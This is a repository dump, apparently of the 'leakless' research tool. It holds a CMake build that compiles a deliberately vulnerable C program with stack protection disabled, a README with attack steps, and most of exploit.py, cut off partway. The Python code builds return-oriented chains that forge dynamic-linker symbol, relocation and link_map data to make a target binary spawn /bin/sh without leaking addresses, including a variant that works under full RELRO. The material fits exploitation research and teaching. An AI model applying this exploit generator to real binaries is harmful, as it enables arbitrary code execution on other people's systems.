[
  {
    "path": ".gitignore",
    "content": "*.idb\n*.o\n*.pyc\n*.gdb_history\n"
  },
  {
    "path": "CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 2.6)\nproject(leakless)\n\nset(VULN vuln.c)\nset(EXPLOIT exploit.py)\n\n# Compiler flags\n# ==============\n\n# Global flags\n# ------------\n\nset(CMAKE_C_FLAGS \"-fno-stack-protector -O2\")\nset(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS \"\")\n\n# Architectures and related options\n# ---------------------------------\n\nset(ARCHITECTURES \"x86;x86-64\" CACHE STRING \"List of architectures to enable\")\n\nif (\"${CMAKE_C_COMPILER_ID}\" STREQUAL \"Clang\")\n  set(INTEL_FLAVOR \"-mllvm --x86-asm-syntax=intel\")\nelseif (\"${CMAKE_C_COMPILER_ID}\" STREQUAL \"GNU\")\n  set(INTEL_FLAVOR \"-masm=intel\")\nendif()\n\nset(x86_FLAGS \"${INTEL_FLAVOR} -m32\")\nset(x86_OFFSET \"112\")\n\nset(x86-64_FLAGS \"${INTEL_FLAVOR} -m64\")\nset(x86-64_OFFSET \"120\")\n\n# Build types and related options\n# -------------------------------\n\nset(BUILD_TYPES no_relro partial_relro full_relro)\n\nset(NO_RELRO_FLAGS \"\")\nset(PARTIAL_RELRO_FLAGS \"-Wl,-z,relro\")\nset(FULL_RELRO_FLAGS \"-Wl,-z,relro,-z,now\")\n\n# Testing\n# =======\n\nenable_testing()\n\nset(TEST_TYPES craft-dl-structs ld-corrupt)\n\nset(TEST_FLAGS_craft-dl-structs \"--method=craft-dl-structs\")\nset(TEST_FLAGS_ld-corrupt \"--method=ld-corrupt -l 1\")\n\n# List of tests expected to fail\n# ------------------------------\n\nset(EXPECTED_TO_FAIL test-craft-dl-structs-vuln-x86-full_relro test-craft-dl-structs-vuln-x86-64-full_relro)\n\n# Helper library\n# ==============\n\n# We create a helper library to avoid issues with RELRO libcs/loaders\n\nset(HELPER_C_FILE \"${CMAKE_CURRENT_BINARY_DIR}/helper.c\")\nfile(WRITE \"${HELPER_C_FILE}\" \"int return42() { return 42; }\")\nforeach(ARCHITECTURE ${ARCHITECTURES})\n  set(TARGET_NAME \"helper-${ARCHITECTURE}\")\n  add_library(\"${TARGET_NAME}\" SHARED \"${HELPER_C_FILE}\")\n  set_target_properties(\"${TARGET_NAME}\" PROPERTIES\n    COMPILE_FLAGS \"${${ARCHITECTURE}_FLAGS}\"\n    LINK_FLAGS \"${${ARCHITECTURE}_FLAGS}\")\nendforeach(ARCHITECTURE)\n\n# Create targets\n# ==============\n\nadd_custom_target(length)\nadd_custom_target(json)\nadd_custom_target(ropl)\n\nforeach(ARCHITECTURE ${ARCHITECTURES})\n  foreach(BUILD_TYPE ${BUILD_TYPES})\n\n    # Binaries\n    # --------\n\n    set(TARGET_NAME \"vuln-${ARCHITECTURE}-${BUILD_TYPE}\")\n    string(TOUPPER \"${BUILD_TYPE}\" TYPE_PREFIX)\n    add_executable(\"${TARGET_NAME}\" \"${VULN}\")\n    target_link_libraries(\"${TARGET_NAME}\" \"helper-${ARCHITECTURE}\")\n    set_target_properties(\"${TARGET_NAME}\" PROPERTIES\n      COMPILE_FLAGS \"${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}\"\n      LINK_FLAGS \"${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}\")\n\n    # Tests\n    # -----\n\n    foreach(TEST_TYPE ${TEST_TYPES})\n      set(TEST_NAME \"test-${TEST_TYPE}-${TARGET_NAME}\")\n      set(TEST_FLAGS \"${TEST_FLAGS_${TEST_TYPE}}\")\n      # Invoke the exploit\n      set(EXPLOIT_INVOCATION \"${CMAKE_SOURCE_DIR}/${EXPLOIT} ${TEST_FLAGS} --offset ${${ARCHITECTURE}_OFFSET} $<TARGET_FILE:${TARGET_NAME}>\")\n      # Command to execute and check of correctness\n      set(TEST_INVOCATION \"(${EXPLOIT_INVOCATION}; echo '/bin/bash -c \\\"base64 -d <<< UGFzc2VkCg==\\\"') | $<TARGET_FILE:${TARGET_NAME}> | grep -E '^Passed$'\")\n\n      # If we expect failure of this test, negate the exit result\n      list(FIND EXPECTED_TO_FAIL \"${TEST_NAME}\" EXPECTED_TO_FAIL_INDEX)\n      if (NOT EXPECTED_TO_FAIL_INDEX EQUAL -1)\n        set(TEST_INVOCATION \"! (${TEST_INVOCATION})\")\n      endif()\n\n      # Add the test\n      add_test(NAME \"${TEST_NAME}\" COMMAND /bin/sh -c \"${TEST_INVOCATION}\")\n\n      # Add the target to have the length\n      set(TARGET_LEGTH_NAME \"length-${TEST_TYPE}-${TARGET_NAME}\")\n      add_custom_target(\"${TARGET_LEGTH_NAME}\" COMMAND /bin/sh -c \"${EXPLOIT_INVOCATION} --size\")\n      add_dependencies(length \"${TARGET_LEGTH_NAME}\")\n\n      add_custom_command(OUTPUT \"${TEST_TYPE}-${TARGET_NAME}.json\"\n        COMMAND /bin/sh -c \"${EXPLOIT_INVOCATION} -o json\" > ${TEST_TYPE}-${TARGET_NAME}.json)\n      add_custom_target(\"json-${TEST_TYPE}-${TARGET_NAME}\" DEPENDS \"${TEST_TYPE}-${TARGET_NAME}.json\")\n      add_dependencies(json \"json-${TEST_TYPE}-${TARGET_NAME}\")\n\n      add_custom_command(OUTPUT \"${TEST_TYPE}-${TARGET_NAME}.ropl\"\n        COMMAND /bin/sh -c \"${EXPLOIT_INVOCATION} -o ropl\" > ${TEST_TYPE}-${TARGET_NAME}.ropl)\n      add_custom_target(\"ropl-${TEST_TYPE}-${TARGET_NAME}\" DEPENDS \"${TEST_TYPE}-${TARGET_NAME}.ropl\")\n      add_dependencies(ropl \"ropl-${TEST_TYPE}-${TARGET_NAME}\")\n\n    endforeach(TEST_TYPE)\n\n  endforeach(BUILD_TYPE)\nendforeach(ARCHITECTURE)\n"
  },
  {
    "path": "README.md",
    "content": "How to test\n===========\n\n1. Build vuln.c\n\n        gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2\n\n2. Find the offset of the saved IP\n\n        ruby19 \"$METASPLOIT/tools/pattern_create.rb\" 256 | /tmp/vuln\n        dmesg | tail\n        ruby19 \"$METASPLOIT/tools/pattern_offset.rb\" $SEGFAULT_IP\n\n3. Launch the attack with the desired parameter\n\n        (python ./exploit.py /tmp/vuln --offset $OFFSET; echo ls) | /tmp/vuln\n\nYou can also just dump to a JSON file all the necessary information to\nperform the exploit:\n\n    python ./exploit.py /tmp/vuln --json\n\nFor debugging information, use the `--debug` parameter. For further\ninformation on the parameters use the `--help` parameter.\n\nThe CMake build system will compile `vuln.c` for x86 and x86-64 with\ndifferent protections enabled.  There's also a CTest testsuite which\nhas been tested using the `ld.gold` linker and GCC 4.8.4. Different\ntoolchains might require minor adjustments.\n\nTo launch it just run:\n\n    mkdir leakless-build\n    cd leakless-build\n    cmake ../leakless\n    make\n    make test\n\nThe build system has also the `length`, `json` and `ropl` targets\nwhich, respectively, produce the length of the generated exploit for\neach supported configuration and the JSON and ropl version of the\nexploit.\n\n    make length\n    make json\n    make ropl\n\nBasic idea\n==========\n\n    char *buffer = .bss;\n    char *new_stack = buffer + 1024;\n    int *rubbish = new_stack + 4;\n\n    strcpy(buffer, \"execve\");\n    *((int *) buffer) = 'exec';\n    *(((int *) buffer) + 1) = 've\\0\\0';\n    char *name = buffer;\n    buffer += strlen(buffer) + 1;\n\n    Elf32_Sym *symbol = (Elf32_Sym *) buffer;\n    symbol->st_name = name - .dynstr;\n    symbol->st_value = 0;\n    symbol->st_info = 0;\n    symbol->st_other = 0;\n    symbol->st_shndx = 0;\n    buffer += sizeof(*symbol);\n\n    Elf32_Rel *reloc = (Elf32_Rel *) buffer;\n    reloc->r_offset = rubbish++;\n    reloc->r_info = (R_386_JUMP_SLOT | (symbol - .dynsym) / sizeof(symbol));\n    buffer += sizeof(reloc):\n\n    pre_plt((reloc - .rel.plt) / sizeof(Elf32_Rel));\n\nHelper classes\n==============\n\n* `MemoryArea`: data structure representing a part of memory, with its\n  start address, its size, a reference to what its relative to\n  (e.g. the `MemoryArea` where we'll write the relocation structure\n  will be relative to the `.rela.dyn` section). `MemoryArea` also\n  takes care of computing the appropriate index (`MemoryArea.index`)\n  relative to the specified part of memory.\n* `Buffer`: data structure holding information about a buffer where we\n  want to write to things. Typically this will represent to\n  `.bss`. Buffer also keeps track of what part of it has already been\n  allocated (`Buffer.current` points to the next free location) and\n  allows to allocate new `MemoryArea`s with the appropriate\n  alignement.\n\n`Exploit`-derived classes\n=========================\n\n* `Exploit`: the base class, contains all the architecture- and\n  platform-independent parts of the exploit. It keeps the list of the\n  gadgets, it takes care of collecting all the interesting information\n  about the program from the ELF file and abstracting some utility and\n  memory-related functions (e.g. `write_pointer` and `write_string`)\n  which rely on the abstract `do_writemem` function (which is\n  platform- and program-dependent). Finally, in `jump_to`, contains\n  the core logic for setting up the necessary data structures in the\n  buffers.\n* `CommonGadgetsExploit`: inherits from `Exploit` and introduces\n  architecture-dependent parts, in particular gadgets and\n  function-invocation logic.\n* `ExecveExploit`: very simple class implementing the logic to launch\n  an `execve`, so write a `NULL` pointer, a `\"/bin/sh\\0\"` and\n  explicitly look for `execve`. Finally invoke it.\n* `RawDumperExploit`: exploit useful to just collect the information\n  necessary to perform the attack without actually generating the ROP\n  chain. `RawDumperExploit.jump_to` will return as first result an\n  array of tuples `(address, what_to_write_there)`, which, for\n  instance, are used to implement the `--json` parameter.\n"
  },
  {
    "path": "exploit.py",
    "content": "#!/usr/bin/env python\n\nimport os\nimport sys\nimport glob\nimport json\nimport argparse\nimport operator\nimport struct\nimport importlib\n\nimport elftools.elf.structs\nfrom elftools.elf.elffile import ELFFile\nfrom elftools.elf.relocation import RelocationSection\nfrom elftools.elf.sections import SymbolTableSection\nfrom elftools.elf.constants import P_FLAGS, SH_FLAGS\nfrom elftools.elf.enums import ENUM_E_TYPE, ENUM_D_TAG\n\nfrom itertools import izip\nfrom operator import attrgetter\nfrom collections import namedtuple\n\nfrom rangeset import RangeSet\n\nimport utils\nfrom utils import *\nfrom memory import *\n\nElfN_Versym_size = 2\nDF_BIND_NOW = 0x8\nDF_1_NOW = 0x1\n\nrelocation_types = {\n    \"EM_386\": 7,\n    \"EM_X86_64\": 7,\n    \"EM_ARM\": 22\n}\n\n# `ExploitInfo`\n# * `prepare`: information on how to prepare the memory for the exploit\n# * `reloc_index`: the index to pass to `dl_resolve`\n# * `l_struct`: a *pointer* to a memory area containing a pointer to the `l`\n#               structure used by the `dl_resolve`\n# * `dl_resolve`: a *pointer* to a memory area containing a pointer to the\n#                 `dl_resolve` function\n# * `plt0`: the address of the first entry of the .plt which will call\n#           `_dl_runtime_resolve`\nExploitInfo = namedtuple(\"ExploitInfo\", [\"prepare\", \"reloc_index\", \"l_struct\",\n                                         \"dl_resolve\", \"plt0\", \"function_name_area\"])\n\nclass Exploit:\n    __slots__ = \"arch\", \"little\", \"pointer_size\", \"dynstr\", \"dynsym\", \\\n                \"relplt\", \"plt\", \"filler\", \"relocation_type\", \\\n                \"dynamic\", \"versym\", \"gadgets\", \"fini\"\n\n    def __init__(self):\n        self.gadgets = {}\n        self.empty_exploit = lambda: \"\"\n        self.badchars = []\n\n    def allocate_helpers(self, buffer):\n        return \"\"\n\n    def add_gadget(self, architecture, name, info, gadget):\n        \"\"\"Adds a gadget to the collection of gadgets for the specified architecture.\"\"\"\n        if architecture not in self.gadgets:\n            self.gadgets[architecture] = {}\n        self.gadgets[architecture][name] = (info, gadget)\n\n    def get_gadget(self, name):\n        \"\"\"Returns the gadget with the specified name for the current architecture\"\"\"\n        return self.gadgets[self.arch][name]\n\n    # TODO: split this, not everyone needs everything\n    def config_from_elf(self, path):\n        \"\"\"Load all the necessary information about the program parsing the ELF\n        headers. Furthermore, check some pre-requisites for the exploit to be\n        successful.\"\"\"\n        executable_file = open(path, \"r\")\n        elf = ELFFile(executable_file)\n        get_section = lambda name: first_or_none(filter(lambda section: section.name == name, elf.iter_sections()))\n        get_section_address = lambda section: None if (get_section(section) is None) else get_section(section).header.sh_addr\n\n        # Checks\n        if elf.header.e_type == ENUM_E_TYPE[\"ET_EXEC\"]:\n            raise Exception(\"Only non-PIE executables are supported\")\n\n        # Binary type\n        self.arch = elf.header.e_machine\n        self.little = elf.little_endian\n        self.pointer_size = elf.elfclass / 8\n        self.pointer_format = (\"0x%.\" + str(self.pointer_size * 2) + \"x\")\n        self.structs = elftools.elf.structs.ELFStructs(self.little, self.pointer_size * 8)\n\n        # Useful sections\n        self.sections = {section.name: (section.header.sh_addr, section.header.sh_addr + section.header.sh_size) for section in elf.iter_sections()}\n        self.plt = get_section_address(\".plt\")\n        self.got = get_section_address(\".got\")\n        self.gotplt = get_section_address(\".got.plt\")\n\n        # Dynamic section\n        dynamic_section = get_section(\".dynamic\")\n        self.writable_dynamic = dynamic_section.header.sh_flags & SH_FLAGS.SHF_WRITE\n        self.dynamic = dynamic_section.header.sh_addr\n        dynamic_entries = [self.structs.Elf_Dyn.parse(dynamic_entry)\n                           for dynamic_entry in\n                           chunks(dynamic_section.data(), self.structs.Elf_Dyn.sizeof())]\n\n        # Dynamic symbols\n        # TODO: we're relying on section names here\n        symbol_table = elf.get_section_by_name(\".dynsym\")\n        has_name = lambda name: lambda symbol: symbol.name == name\n        attribute_or_default = lambda default, attribute, x: getattr(x, attribute) if x is not None else default\n        memcpy_symbol = first_or_none(filter(has_name(\"memcpy\"), symbol_table.iter_symbols()))\n        self.memcpy_plt = 0 if memcpy_symbol is None else memcpy_symbol.entry.st_value\n\n        # We try not to rely on section names\n        get_dynamic = lambda name: first_or_none(map(lambda entry: entry.d_val, filter(lambda entry: entry.d_tag == name, dynamic_entries)))\n        get_dynamic_index = lambda name: filter(lambda entry: entry[1].d_tag == name, enumerate(dynamic_entries))[0][0]\n        self.dynstr = get_dynamic(\"DT_STRTAB\")\n        self.dynsym = get_dynamic(\"DT_SYMTAB\")\n        self.versym = get_dynamic(\"DT_VERSYM\")\n        self.verneed = get_dynamic(\"DT_VERNEED\")\n        self.relplt = get_dynamic(\"DT_JMPREL\")\n        self.addend = get_dynamic(\"DT_RELA\") is not None\n        self.dt_debug = self.dynamic + get_dynamic_index(\"DT_DEBUG\") * self.structs.Elf_Dyn.sizeof() + self.pointer_size\n        self.full_relro = (get_dynamic(\"DT_FLAGS\") is not None) and \\\n                          ((get_dynamic(\"DT_FLAGS\") & DF_BIND_NOW) != 0)\n        self.full_relro = self.full_relro or ((get_dynamic(\"DT_FLAGS_1\") is not None) and \\\n                          ((get_dynamic(\"DT_FLAGS_1\") & DF_1_NOW) != 0))\n\n        # Choose between Elf_Rel and Elf_Rela depending on the architecture\n        self.rel_struct = self.structs.Elf_Rela if self.addend else self.structs.Elf_Rel\n\n        # Looks like 64-bit and 32-bit have different alignment for the call to _dl_fixup\n        self.reloc_alignment = 1 if self.pointer_size == 4 else self.rel_struct.sizeof()\n        self.reloc_index_multiplier = self.rel_struct.sizeof() if self.pointer_size == 4 else 1\n\n        #\n        # Find candidate writeable areas\n        #\n\n        # Collect PT_LOAD segments (what gets mapped)\n        loaded_segments = filter(lambda segment: segment.header.p_type == \"PT_LOAD\", elf.iter_segments())\n        # Collect the segments which are writeable\n        writeable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_W, loaded_segments)\n        # Get their memory ranges (start, end)\n        writeable_ranges = RangeSet.mutual_union(*map(lambda segment: (segment.header.p_vaddr, segment.header.p_vaddr + segment.header.p_memsz), writeable_segments))\n\n        # List of sections we don't want to write to\n        dont_overwrite_sections = filter_none([self.dynstr, self.dynsym, self.versym, self.relplt, self.dynamic, self.got, self.gotplt])\n        # Memory ranges of the sections we don't want to write to\n        dont_overwrite_ranges = RangeSet.mutual_union(*[self.sections[self.section_from_address(start)] for start in dont_overwrite_sections])\n\n        # Handle RELRO segment, we don't want to write there\n        relro_segment = first_or_none(filter(lambda segment: segment.header.p_type == \"PT_GNU_RELRO\", elf.iter_segments()))\n        if relro_segment is not None:\n            dont_overwrite_ranges = dont_overwrite_ranges | RangeSet(relro_segment.header.p_vaddr, relro_segment.header.p_vaddr + relro_segment.header.p_memsz)\n\n        # Compute the set of candidate memory ranges\n        self.writeable_ranges = writeable_ranges - dont_overwrite_ranges\n\n\n        # Save the index of the DT_FINI entry\n        fini = filter(lambda (i, entry): entry.d_tag == \"DT_FINI\", enumerate(dynamic_entries))\n        if len(fini) > 0:\n            self.fini = self.dynamic + self.structs.Elf_Dyn.sizeof() * fini[0][0]\n\n        # Gadgets\n        if self.gadgets.has_key(self.arch):\n            executable_segments = filter(lambda segment: segment.header.p_flags  & P_FLAGS.PF_X, elf.iter_segments())\n\n            for name, (info, gadget) in self.gadgets[self.arch].iteritems():\n                locations = find_all_strings(executable_segments, hex_bytes(gadget))\n                locations = map(self.ptr2str, locations)\n                location = first_or_none(filter(lambda address: not reduce(lambda accumulate, badchar: badchar in address or accumulate, self.badchars , False), locations))\n                if location is None:\n                    self.gadgets[self.arch][name] = None\n                else:\n                    self.gadgets[self.arch][name] = (info, gadget, location)\n\n        # Find all '\\x00\\x00' in non-writeable segments\n        self.non_writeable_segments = filter(lambda segment: not (segment.header.p_flags & P_FLAGS.PF_W), loaded_segments)\n        self.zero_or_one_addresses = find_all_strings(self.non_writeable_segments, \"\\x00\\x00\") + \\\n                                     find_all_strings(self.non_writeable_segments, \"\\x01\\x00\" if self.little else \"\\x00\\x01\")\n\n        self.filler = self.ptr2str(reduce(lambda x,y: (x << 32) | 0xdeadb00b, xrange(1 + (self.pointer_size % 4)), 0))\n        self.relocation_type = relocation_types[self.arch]\n\n        #\n        # Find the reloc pointing to the symbol whose name is the earliest in .dynstr\n        #\n\n        relplt_section = elf.get_section_by_name(self.section_from_address(self.relplt))\n        dynsym_section = elf.get_section_by_name(self.section_from_address(self.dynsym))\n\n        if not (isinstance(relplt_section, RelocationSection) and \\\n                isinstance(dynsym_section, SymbolTableSection)):\n            raise Exception(\"Unexpect type for dynamic sections: \" + str(relplt_section) + \" \" + str(dynsym_section))\n\n        # Grab .got.plt relocs symbol indexes\n        symbol_indexes = [reloc.entry.r_info_sym if reloc.entry.r_info_type == self.relocation_type else None for reloc in relplt_section.iter_relocations()]\n        # Get offsets in .dynstr\n        names_offsets = [dynsym_section.get_symbol(index).entry.st_name if index is not None else None for index in symbol_indexes]\n        # Filter out unamed offsets\n        names_offsets = [offset if offset > 0 else None for offset in names_offsets]\n        # Get the minimum value\n        self.min_reloc_index, self.min_string_offset = min(enumerate(names_offsets), key=operator.itemgetter(1))\n        self.min_symbol_index = symbol_indexes[self.min_reloc_index]\n\n        log(self.dump())\n\n    def get_non_writeable_segment(self, address):\n        for non_writeable_segment in self.non_writeable_segments:\n            start = non_writeable_segment.header.p_vaddr\n            end = start + non_writeable_segment.header.p_memsz\n            if (start <= address) and (address < end):\n                return non_writeable_segment\n        return None\n\n    def read_non_writeable(self, address, size):\n        segment = self.get_non_writeable_segment(address)\n        if segment is None:\n            raise Exception(\"Not a non-writeable address: \" + hex(address))\n        start = segment.header.p_vaddr\n        end = start + segment.header.p_memsz\n        return segment.data()[address - start:address - start + size]\n\n    def section_from_address(self, address):\n        for name, section in self.sections.iteritems():\n            start = section[0]\n            end = section[1]\n            # TODO: we're excluding mappings at 0\n            if (start > 0) and (start <= address) and ((address < end) or ((start > 0) and (end - start == 0))):\n                return name\n        raise Exception(\"Can't find a section for address \" + hex(address))\n\n    def closest_section_from_address(self, address):\n        sorted_sections = [0] + sorted([section[0] for section in self.sections.itervalues()]) + [(1 << 8 * self.pointer_size) - 1]\n        for start, end in pairwise(sorted_sections):\n            if (start <= address) and (address < end):\n                return (\"0\" if start == 0 else self.section_from_address(start)) + \" + \" + hex(address - start)\n        raise Exception(\"Can't find a section for address \" + hex(address))\n\n    def dump(self):\n        \"\"\"Dump all the information held by this Exploit instance for debugging\n        purposes.\"\"\"\n        return \"\\n\".join([slot + \": \" + str(getattr(self, slot)) for slot in self.__slots__])\n\n    # Utility functions\n    # =================\n\n    def ptr2str(self, integer):\n        \"\"\"Convert a pointer (in the form of an integer) to a byte string of its memory\n        representation according the current architecture endianness.\"\"\"\n        direction = \"<\" if self.little else \">\"\n        word_size = \"Q\" if self.pointer_size == 8 else \"I\"\n        mask = (1 << self.pointer_size * 8) - 1\n        return struct.pack(direction + word_size, integer & mask)\n\n    def str2ptr(self, string):\n        \"\"\"Convert a byte string representing a pointer to an integer.\"\"\"\n        direction = \"<\" if self.little else \">\"\n        word_size = \"Q\" if self.pointer_size == 8 else \"I\"\n        return struct.unpack(direction + word_size, string)[0]\n\n    # Abstractions to write memory\n    # ============================\n\n    def write_all(self, start, string):\n        if (self.memcpy_plt) and (len(string) > self.pointer_size):\n            return self.memcpy(start, string)\n\n        result = self.empty_exploit()\n        remaining = string\n        while len(remaining) > 0:\n            remaining, writer = self.do_writemem(self.ptr2str(start + len(string) - len(remaining)), remaining)\n            result += writer\n\n        return result\n\n    def flush(self, buffer):\n        result = self.empty_exploit()\n\n        content_buffer = \"\"\n        areas = filter(attrgetter(\"is_buffered\"), buffer.areas.values())\n        last_start = last_end = areas[0].start\n\n        for memory_area in areas:\n            memory_area.is_buffered = False\n\n            if last_end == memory_area.start:\n                content_buffer += memory_area.content\n                last_end += len(memory_area.content)\n            else:\n                result += self.write_all(last_start, content_buffer)\n                content_buffer = memory_area.content\n                last_start = last_end = memory_area.start\n\n        result += self.write_all(last_start, content_buffer)\n\n        return result\n\n    def write_string(self, memory_area, string, buffered=True):\n        \"\"\"Write an input string in the specified memory area invoking an appropriate\n        number of times the do_writemem function.\"\"\"\n        string_len = len(string)\n        if string_len == 0:\n            return self.empty_exploit()\n        elif string_len > memory_area.size:\n            raise Exception(\"You're trying to write {} bytes in a MemoryArea {} bytes wide\".format(string_len, memory_area.size))\n\n        memory_area.is_buffered = buffered\n        memory_area.content = string\n\n        if not buffered:\n            return self.write_all(memory_area.start, string)\n        else:\n            return self.empty_exploit()\n\n    def write_pointer(self, memory_area, pointer, buffered=True):\n        \"\"\"Write a pointer (an integer) to a memory area.\"\"\"\n        return self.write_string(memory_area, self.ptr2str(pointer), buffered)\n\n    def create_relocation(self, buffer, symbol_index, align_to=None):\n        \"\"\"Create an ElfN_Rel using a writable memory area as relocation\n        target and referencing the requested symbol index.\"\"\"\n\n        reloc = buffer.allocate(self.rel_struct.sizeof(), align_to, self.reloc_alignment, name=\"reloc\")\n\n        relocation_target = buffer.allocate(self.pointer_size, name=\"relocation_target\")\n\n        # Create the Elf_Rela? structure to the exploit\n        function_reloc = self.rel_struct.parse(\"\\0\" * self.rel_struct.sizeof())\n        function_reloc.r_offset = relocation_target.start\n        function_reloc.r_info_type = self.relocation_type\n        function_reloc.r_info_sym = symbol_index\n\n        if self.pointer_size * 8 == 32:\n            function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 8)\n        else:\n            function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 32)\n\n        prepare = self.write_string(reloc, self.rel_struct.build(function_reloc))\n\n        return prepare, reloc\n\nclass CraftDlStructsExploit(Exploit):\n\n    def jump_to(self, buffer, function_name_max_length):\n        \"\"\"Craft the necessary data structures (Elf_Rela?, Elf_Sym, version index) and\n        strings to pass to the dynamic linker.\"\"\"\n\n        # Part of the ROP exploit to write the data structures\n        exploit = self.empty_exploit()\n\n        # Allocate the buffers necessary for the data structure we're going to\n        # create\n        function_name_str = buffer.allocate(function_name_max_length, self.dynstr, 1, name=\"function_name_str\")\n\n        # TODO: move symbol as first thing in the buffer\n        if self.versym:\n            to_range = lambda address, size: (address, address + size)\n\n            # We have three possible constraints (in order of preference):\n            # 1. The version index has special value 0 (local) or 1 (global)\n            # 2. The version index falls in a memory area we can write\n            # 3. The version index points to ElfN_Verneed structure we can write\n            constraints = [lambda address, versym: versym in self.zero_or_one_addresses,\n                           lambda address, versym: to_range(versym, ElfN_Versym_size) in buffer.ranges,\n                           lambda address, versym: (self.get_non_writeable_segment(versym) is not None) and \\\n                                                   (to_range(self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym, ElfN_Versym_size)), self.structs.Elf_Verneed.sizeof()) in buffer.ranges)]\n\n            wrap_versym = lambda func: lambda address, index: func(address, self.versym + ElfN_Versym_size * index)\n            constraints = map(wrap_versym, constraints)\n        else:\n            constraints = [lambda x,y: True]\n\n        errors = 0\n        for constraint in constraints:\n            try:\n                symbol = buffer.allocate(self.structs.Elf_Sym.sizeof(), self.dynsym, name=\"symbol\", constraint=constraint)\n                break\n            except AllocateFailException:\n                errors += 1\n                pass\n\n        if self.versym:\n            if errors > 2: # We failed\n                raise Exception(\"Can't find a position for the Elf_Sym\")\n            versym_address = self.versym + ElfN_Versym_size * symbol.index\n            if errors == 1: # We can write in ElfN_Versym\n                versym_area = buffer.allocate(ElfN_Versym_size, align_to=self.versym, start=versym_address)\n                exploit += self.write_string(versym_area, \"\\x00\\x00\")\n            elif errors == 2: # We can write in ElfN_Verneed\n                verneed_address = self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym_address, ElfN_Versym_size))\n                verneed_area = buffer.allocate(self.structs.Elf_Verneed.sizeof(), align_to=self.verneed, start=verneed_address)\n\n                verneed_struct = self.structs.Elf_Verneed.parse(\"\\0\" * self.structs.Elf_Verneed.sizeof())\n                verneed_struct.vn_version = 1;\n                verneed_struct.vn_cnt = 0;\n                verneed_struct.vn_file = 0;\n                verneed_struct.vn_aux = 0;\n                verneed_struct.vn_next = 0;\n                exploit += self.write_string(verneed_area, self.structs.Elf_Verneed.build(verneed_struct))\n\n        # Append the creation of the Elf_Sym structure to the exploit\n        function_symbol = self.structs.Elf_Sym.parse(\"\\0\" * self.structs.Elf_Sym.sizeof())\n        function_symbol.st_name = function_name_str.index\n        function_symbol.st_info.bind = \"STB_GLOBAL\"\n        function_symbol.st_info.type = \"STT_FUNC\"\n\n        exploit += self.write_string(symbol, self.structs.Elf_Sym.build(function_symbol))\n\n        prepare_relocation, reloc = self.create_relocation(buffer, symbol.index, align_to=self.relplt)\n        exploit += prepare_relocation\n\n        return ExploitInfo(prepare=exploit, reloc_index=reloc.index, plt0=self.plt, l_struct=None, dl_resolve=None, function_name_area=function_name_str)\n\nclass CorruptLdSoExploit(Exploit):\n\n    def jump_to(self, buffer, function_name_max_length):\n\n        dt_strtab_offset = ENUM_D_TAG[\"DT_STRTAB\"] * self.pointer_size\n        l_info_offset = 8 * self.pointer_size\n\n        fake_dynstr_area = buffer.allocate(self.min_string_offset, name=\"fake_dynstr\")\n        function_name_area = buffer.allocate(function_name_max_length, fake_dynstr_area.start, 1, name=\"function_name\")\n\n        # TODO: instead of this support for \"don't care\" memory areas\n        # Allocate the DT_STRTAB dynamic entry (possibly in the fake .dynstr itself, if it fits)\n        if fake_dynstr_area.size >= self.structs.Elf_Dyn.sizeof():\n            dt_strtab_entry_area = fake_dynstr_area\n        else:\n            dt_strtab_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name=\"dt_strtab_entry\")\n\n        exploit = self.empty_exploit()\n\n        # TODO: here is not really necessary to write DT_STRTAB, no one will check that\n        dt_strtab_entry = self.structs.Elf_Dyn.parse(\"\\x00\" * self.structs.Elf_Dyn.sizeof())\n        dt_strtab_entry.d_tag = \"DT_STRTAB\"\n        dt_strtab_entry.d_val = fake_dynstr_area.start\n        exploit += self.write_string(dt_strtab_entry_area, self.structs.Elf_Dyn.build(dt_strtab_entry))\n\n        if not self.full_relro:\n            # OK, the l_pointer is just a GOT[1] and dl_resolve is in GOT[2]\n            l_pointer = self.gotplt + self.pointer_size * 1\n            dl_resolve_pointer = self.gotplt + self.pointer_size * 2\n\n            # We can also use the plt[0] entry\n            plt0 = self.plt\n            reloc_index = self.min_reloc_index * self.rel_struct.sizeof()\n        else:\n            # We can't use GOT[1], GOT[2] or plt[0], let's work around this\n\n            # We reuse a part of the buffer multiple times\n            exe_link_map_area = buffer.allocate(self.pointer_size, name=\"exe_link_map\")\n            first_lib_link_map_area = buffer.allocate(self.pointer_size, name=\"first_lib_link_map\")\n            dyn_gotplt_area = first_lib_link_map_area # Reuse\n            gotplt_area = dyn_gotplt_area # Reuse\n            dl_resolve_area = gotplt_area # Reuse\n\n            # Prepare fake relocation\n            prepare_relocation, fake_relocation_area = self.create_relocation(buffer, self.min_symbol_index)\n            exploit += prepare_relocation\n\n            # TODO: factorize this\n            dt_jmprel_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name=\"fake_jmprel_entry\")\n            # TODO: here is not really necessary to write DT_JMPREL, no one will check that\n            dt_jmprel_entry = self.structs.Elf_Dyn.parse(\"\\x00\" * self.structs.Elf_Dyn.sizeof())\n            dt_jmprel_entry.d_tag = \"DT_JMPREL\"\n            dt_jmprel_entry.d_val = fake_relocation_area.start\n            exploit += self.write_string(dt_jmprel_entry_area, self.structs.Elf_Dyn.build(dt_jmprel_entry))\n\n            # Let's navigate a bit through data structures\n\n            # exe_link_map = *(*DT_DEBUG.d_val + offsetof(r_map))\n            # TODO: factorize out glibc's magic numbers\n            r_map_offset = self.pointer_size # an int\n            exploit += self.deref_with_offset_and_save(self.ptr2str(self.dt_debug),\n                                                       self.ptr2str(r_map_offset),\n                                                       self.ptr2str(exe_link_map_area.start))\n\n            # first_lib_link_map = *(*exe_link_map + offsetof(l_next))\n            l_next_offset = self.pointer_size * 3 # skip l_addr, l_name and l_ld\n            exploit += self.deref_with_offset_and_save(self.ptr2str(exe_link_map_area.start),\n                                                       self.ptr2str(l_next_offset),\n                                                       self.ptr2str(first_lib_link_map_area.start))\n\n            # Repeat until we reach the desired library (check with 